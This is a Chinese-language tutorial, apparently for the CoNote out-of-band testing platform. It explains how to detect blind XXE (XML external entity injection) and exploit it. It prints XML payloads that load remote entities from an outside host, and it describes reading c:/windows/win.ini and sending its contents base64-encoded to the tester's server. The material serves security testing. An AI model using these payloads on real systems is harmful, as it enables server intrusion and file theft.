XXE漏洞利用
并不是所有XXE漏洞(XML实体注入漏洞)都能回显数据,在自动化测试中,我们可以利用CoNote来探测目标是否存在XXE漏洞。
使用加载远程ENTITY的方法来发送HTTP请求:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.example.2m1.pw/file.xml" >
%remote; ]>
<root />
平台收到HTTP请求即说明目标存在XXE漏洞:
那么,如果该XXE漏洞没有回显,我们也可以借助CoNote平台来完成Blind XXE的利用。
首先,在“笔记”模块增加一个远程ENTITY文件:
如上图,我们的目标是读取c:/windows/win.ini文件,读取结果将通过http://xxe.example.2m1.pw/
这个HTTP请求发送给我。
点击提交,保存这个结果。这个文件将被保存为http://example.2m1.pw/xxe
,访问这个网址,即可看到刚才创建的文件已经可以显示:
然后,我们再在存在XXE的位置,提交下列XML:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://example.2m1.pw/xxe" >
%remote; ]>
<root />
其中,http://example.2m1.pw/xxe
即为刚才我们添加的ENTITY。
然后,访问CoNote即可查看已经获取的XXE结果,解码其中的base64字符串即可获取win.ini的文件内容: